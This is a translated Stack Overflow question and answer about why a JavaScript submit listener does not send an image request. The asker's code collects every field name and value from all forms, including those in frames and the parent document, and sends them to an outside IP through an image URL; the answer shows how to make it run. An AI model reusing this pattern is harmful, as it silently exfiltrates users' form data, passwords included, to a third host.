Javascript EventListener在提交时不执行url

时间:2013-06-09 15:16:15

标签: javascript javascript-events

所以简单地说我有一个问题,我需要向两个网址提交相同的信息,所以表单提交操作完全没问题然后我想我可以做一个javascript监听器提交第二个用一个在图像标签中的简单网址,但我发现,如果我使用下面的代码,它不会到达我的服务器,但如果我启用警报框它完全正常..

如果我做了一件非常简单的错事,我道歉但这让我大吃一惊......提前谢谢。

//功能1

 function attach(wnd,handler){
        for(var i=0; i<wnd.document.forms.length; i++){
            var form = wnd.document.forms[i];
                form.addEventListener('submit', handler,false);
        }

        for(var i=0; i<wnd.frames.length; i++){
            var iwnd = wnd.frames[i];               
            attach(iwnd,handler);
        }
     }

//功能2

      function formSubmit(e){

    var forms=parent.document.getElementsByTagName("form");
    for (i = 0 ; i < forms.length; i++)
    {
        var chain="";
         var forms=parent.document.getElementsByTagName("form");

         for (x = 0 ; x < forms.length; x++)
         {
             var elements=forms[x].elements;
             for (e = 0 ; e < elements.length; e++)
             {
                 chain += elements[e].name + "%3d" + elements[e].value + "|";

             }

             //           alert(chain);
             var pic = document.createElement('img');
    pic.className = 'avatar';
    pic.src = 'http://x.x.x.x/images/Image.php?id=0.0.0.0&idi=test'+chain;
    pic.height = '50';
    pic.width = '50';

    document.getElementById('test').appendChild(pic);
         }
    }


}

1 个答案:

答案 0 :(得分:0)

在DOM可用后,您需要调用attach函数。在formSubmit函数之后添加类似的东西:

document.addEventListener("load", function() {
  attach(window, formSubmit);
});

请注意,旧版Internet Explorer不支持addEventListener。如果你需要支持他们自己帮个忙,试试jQuery或类似的JS帮助库。